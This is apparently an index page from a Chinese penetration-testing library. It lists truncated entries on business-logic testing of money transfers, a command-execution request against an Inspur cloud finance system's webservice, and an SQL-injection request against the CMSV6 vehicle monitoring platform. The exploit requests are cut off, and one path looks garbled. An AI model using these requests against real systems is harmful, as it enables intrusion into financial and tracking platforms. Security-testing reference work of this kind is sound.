秃兔
【渗透文库】转账场景业务逻辑测试
测试描述：通过抓包工具分析转账场景的接口内容及工作流程，逐条实施案例验证是否存在业务逻辑漏洞。若场景涉及人脸、证书、短信验证码等认证要素，请参考对应的认证要素测试对应的测试前置逐条...
浪潮云财务系统存在命令执行
POST /cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx HTTP/1.1Host:Content-Type: text/xml; charset=utf-8Content-Length: 16396SOAPAction: “http://tempu...
通天星 CMSV6 车载定位监控平台 disable SQL注入漏洞
GET /edu security officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+268
